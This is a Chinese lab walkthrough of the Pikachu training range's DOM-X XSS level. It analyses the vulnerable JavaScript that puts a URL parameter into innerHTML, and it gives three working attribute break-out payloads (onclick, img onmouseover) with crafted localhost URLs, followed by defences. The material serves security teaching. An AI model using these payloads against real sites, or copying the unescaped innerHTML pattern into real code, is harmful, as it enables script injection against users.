pikachu靶场通关笔记09 XSS关卡05-DOM型XSS-X

发布于:2025-06-04 ⋅ 阅读:(34) ⋅ 点赞:(0)

目录

一、XSS

二、DOM型XSS

三、源码分析

1、打开DOM-X型XSS关卡

2、XSS探测

3、源码分析

四、渗透实战

1、Payload1

2、Payload2

3、Payload3

五、DOM型XSS与DOM-X型XSS区别


本系列为通过《pikachu靶场通关笔记》的XSS攻击关卡(共10关)渗透集合,通过对XSS关卡源码的代码审计找到真实原因,讲解XSS原理并进行渗透实践,本文为XSS关卡05-DOM-X型XSS的渗透部分,并对比04关DOM型XSS,从源码分析和原理对比两者的区别。

一、XSS

XSS 全称为跨站脚本攻击(Cross - Site Scripting),因其高危害性长期位列OWASP Top 10安全威胁。攻击者通过注入恶意脚本(通常为JavaScript)到网页中,脚本在其浏览器执行。XSS主要分为3种类别,具体如下表所示。

分类

存储型XSS

(Stored XSS)

反射型XSS

(Reflected XSS)

DOM型XSS

(DOM-based XSS)

存储位置 服务器(数据库/文件) URL参数(不存储) 前端DOM(不经过服务器)
触发方式 用户访问被污染的页面自动执行 用户点击恶意链接后临时反射执行 前端JS操作DOM时动态触发
持久性 长期存在 一次性(需诱导点击) 依赖用户当前页面操作
检测难度 中(需扫描存储内容) 中(需构造恶意URL) 高(需人工审计前端代码)
典型场景 论坛评论、用户资料页 搜索框、错误页面 SPA应用、动态路由
服务端参与 是(存储+返回恶意代码) 是(反射恶意代码) 否(纯前端)
防御重点 输入过滤+输出编码 URL参数消毒+CSP策略 安全的DOM操作+前端验证
修复成本 高(需清理数据库) 中(修改参数处理逻辑) 中(重构前端代码)

二、DOM型XSS

DOM型XSS(DOM-based XSS)是一种纯客户端的跨站脚本攻击,恶意脚本通过前端JavaScript动态操作DOM触发,不经过服务器处理。攻击者利用URL片段(如#<script>alert(1)</script>)或输入字段注入恶意代码,当页面使用innerHTML、eval()或location.hash等危险API解析内容时执行。常见于单页应用(SPA)和动态网页,传统WAF难以检测。与存储型/反射型XSS不同,DOM型完全在浏览器端完成攻击链,是现代化Web应用的高危风险。

分类 DOM型XSS
别名 Type-0 XSS、纯客户端XSS
攻击入口 URL片段(#后)、location.search、前端输入字段(如document.getElementById().value
触发条件 前端使用危险API动态操作DOM(如innerHTMLdocument.writeeval()
数据流 不经过服务器,直接在浏览器端解析执行
攻击特点 绕过服务端检测(WAF无效),依赖前端代码逻辑风险
防御措施 1. 避免innerHTML(用textContentcreateElement
2. 输入消毒(DOMPurify库)
3. CSP策略(禁止内联脚本)
检测难点 需人工审计前端代码,自动化工具易漏检

三、源码分析

1、打开DOM-X型XSS关卡

进入pikachu靶场XSS系列的05关卡 DOM-X型XSS页面,让说出你的伤心往事,具体打如下所示。

http://127.0.0.1/pikachu/vul/xss/xss_dom_x.php

2、XSS探测

输入关键字判断是否有过滤,关键字包括:单引号、双引号、左右尖括号、问号、&、字符串与数字,接下来我们在搜索框输入'"<>?&ljn20241019进行探测,如下所示。

​​​​​​​'"<>?&ljn20241019

点击如上链接进入下图界面,发现此时输出的内容与上一步的输入有区别, 如下所示。

3、源码分析

查看DOM-X型XSS关卡源码xss_dom.php文件内容,右键源码,CTRL+F搜素关键词上图中出现的关键字“风”,发现一个js函数,利用了DOM将字符串进行了拼接并把值给a标签的href,然后输出,具体如下所示。

这段代码存在DOM-X型 XSS 安全风险,具体的源码经过详细注释后如下所示。

<div class="page-content">
    <div id="xssd_main">
        <script>
            function domxss(){
                var str = window.location.search;// 从URL获取参数
                var txss = decodeURIComponent(str.split("text=")[1]);// 解码URL编码并提取text参数值(危险操作!)
                var xss = txss.replace(/\+/g,' ');// 将+号替换为空格(不影响XSS攻击)
                
                // 直接将用户输入拼接到HTML中(核心注入点)
                document.getElementById("dom").innerHTML = "<a href='"+xss+"'>就让往事都随风,都随风吧</a>";
            }
            
            // 攻击者可以尝试以下Payload:
            // 1. '><img src="#" onmouseover="alert('xss')">
            // 2. ' onclick="alert('xss')">
        </script>
        
        <!-- 表单提交text参数到当前URL -->
        <form method="get">
            <input id="text" name="text" type="text" value="" />
            <input id="submit" type="submit" value="请说出你的伤心往事"/>
        </form>
        
        <!-- 恶意代码将注入到这个DOM节点 -->
        <div id="dom"></div>
    </div>
</div>

分析可知本关卡JS代码定义了一个domxss函数,它利用 window.location.search 获取浏览器中URL的内容,然后赋值给str,然后经过URL解码和字符串分隔,取出URL中的参数内容。再把 “+” 替换为 “ ”(空格),赋值给 xss,最后把 xss拼接到 a 标签中,然后写到 Id 为 dom 的 div 标签中。函数的执行流程如下所示。

步骤 代码 作用 风险
1 window.location.search 获取URL中?后的查询字符串(如?text=payload 直接暴露用户可控输入
2 str.split("text=")[1] 提取text参数的值(未检查参数是否存在) text不存在会导致undefined错误
3 decodeURIComponent() 解码URL编码字符(如%3C恢复为< 还原可能含有的恶意代码
4 replace(/\+/g, ' ') +号替换为空格(URL中空格可能被编码为+ 不影响XSS攻击
5 innerHTML = "<a href='"+xss+"'> 动态生成<a>标签,用户输入直接拼接到href属性 未转义字符导致DOM-XSS风险

本关卡的根源在于不可信数据未经验证直接插入DOM,关键代码如下所示。

function domxss() {
    // 获取当前URL的查询参数(如 ?text=恶意代码)
    var str = window.location.search;
    
    // 提取text参数值并解码URL编码
    var txss = decodeURIComponent(str.split("text=")[1]);
    
    // 将+号替换为空格(处理URL中空格被编码为+的情况)
    var xss = txss.replace(/\+/g, ' ');
    
    // 将用户输入拼接到<a>标签的href属性中,并插入DOM
    document.getElementById("dom").innerHTML = "<a href='"+xss+"'>就让往事都随风,都随风吧</a>";
}

四、渗透实战

    渗透的方法是通过<a href='"+xss+"'>就让往事都随风,都随风吧</a>构成闭合,对比DOM型XSS关卡的闭合参数如下所示。

    DOM-X型:<a href='"+xss+"'>就让往事都随风,都随风吧</a>
    DOM型:  <a href='"+str+"'>what do you see?</a>

    1、Payload1

    payload1: #' οnclick=alert("ljn")>

    #' onclick=alert("ljn")>

    闭合后:<a href='#' οnclick="alert("ljn")">'>就让往事都随风,都随风吧</a>

    点击请说出你的伤心事后,下方生成链接,URL地址如下所示。

    ​http://127.0.0.1/pikachu/vul/xss/xss_dom_x.php?text=%23%27+onclick%3Dalert%28%22ljn%22%29%3E#

    经过URL decode后的完整URL链接如下所示。

    ​http://127.0.0.1/pikachu/vul/xss/xss_dom_x.php?text=#'+onclick=alert("ljn")>#

    点击链接后,弹框ljn,接下来进行如下分析:右键元素-点击查看器-Ctrl+F搜索关键字“风”,如下所示。

    2、Payload2

    payload3: ' οnclick="alert('ljn')">

    ' onclick="alert('ljn')">

     闭合后:<a href οnclick="alert('ljn')"> >'就让往事都随风,都随风吧</a> 

    如上所示,点击请说出你的伤心事后,下方生成链接,URL地址如下所示。 

    http://127.0.0.1/pikachu/vul/xss/xss_dom_x.php?text=%27+onclick%3D%22alert%28%27ljn%27%29%22%3E

    经过URL decode后的完整URL链接如下所示。

    http://127.0.0.1/pikachu/vul/xss/xss_dom_x.php?text='+onclick="alert('ljn')">

    点击链接,弹出“ljn”,XSS攻击成功,如下所示。 

    3、Payload3

    payload3: '><img src="#" οnmοuseοver="alert('ljn')">

     '><img src="#" onmouseover="alert('ljn')">

    闭合后:<a href><img src="#" οnmοuseοver="alert('ljn')">'>就让往事都随风,都随风吧</a>

    再次点击“有些费尽心机想要忘记的事情,后来真的就忘掉了”的URL链接。

    http://127.0.0.1/pikachu/vul/xss/xss_dom_x.php?text=%27%3E%3Cimg+src%3D%22%23%22+onmouseover%3D%22alert%28%27ljn%27%29%22%3E

     经过URL decode后的完整URL链接如下所示。

    http://127.0.0.1/pikachu/vul/xss/xss_dom_x.php?text='><img+src="#"+onmouseover="alert('ljn')">

    点击链接后生成如下界面,注意红框处是一个图表,鼠标放到下图红框处就可以弹框。

    鼠标放到上图红框部分,即可弹框“ljn”,说明渗透成功,具体如下所示。

    五、DOM型XSS与DOM-X型XSS区别

    第四关DOM型XSS关键代码如下所示,参数从表单获取。

    var str = document.getElementById("text").value; // 从页面表单获取用户输入 
    // 将用户输入拼接到<a>标签的href属性中,并插入DOM       
    document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
    

     第五关DOM-X型XSS关键代码如下所示,参数从URL种获取。

    var str = window.location.search;// 获取当前URL的查询参数(如 ?text=恶意代码)
    var txss = decodeURIComponent(str.split("text=")[1]); // 提取text参数值并解码URL编码
    var xss = txss.replace(/\+/g, ' ');// 将+号替换为空格(比如处理URL中空格被编码为+的情况)
     
    // 将用户输入拼接到<a>标签的href属性中,并插入DOM
    document.getElementById("dom").innerHTML = "<a href='"+xss+"'>就让往事都随风,都随风吧

    分析可知相比DOM型的XSS,DOM-X型XSS危害更大,因为它能够像反射型一样在URL中体现,将URL发给了受害者就能进行攻击,两者详细区别如下所示。

    对比维度 dom-x xss关卡 函数(第五关) dom xss 函数(第四关)
    输入来源 从window.location.search获取URL参数(如?text=脚本 从document.getElementById("text").value获取表单输入值
    触发方式

    页面加载时自动执行

    (需直接访问含恶意参数的URL)

    需要用户手动输入内容并点击按钮触发
    攻击复杂度 低(攻击者只需构造恶意URL) 中(需要诱导用户在输入框输入恶意内容并点击)
    利用场景 通过钓鱼链接传播 需要用户主动在页面交互
    参数处理 自动解码URL编码(decodeURIComponent) 直接使用原始输入(未解码URL编码)
    代码相似点 均使用innerHTML直接拼接未过滤的用户输入到DOM 均使用innerHTML直接拼接未过滤的用户输入到DOM
    典型攻击Payload ?text='><img src=x onerror=alert(1)> 输入框输入:'><img src=x onerror=alert(1)>
    防御难度

    更难防御(URL参数可能被各种工具自动编码/解码)

    较易防御(可通过前端输入检查拦截)
    修复建议 1. 使用textContent替代innerHTML
    2. 严格校验URL参数
    1. 使用textContent
    2. 表单输入时实时过滤特殊字符

    网站公告

    今日签到

    点亮在社区的每一天
    去签到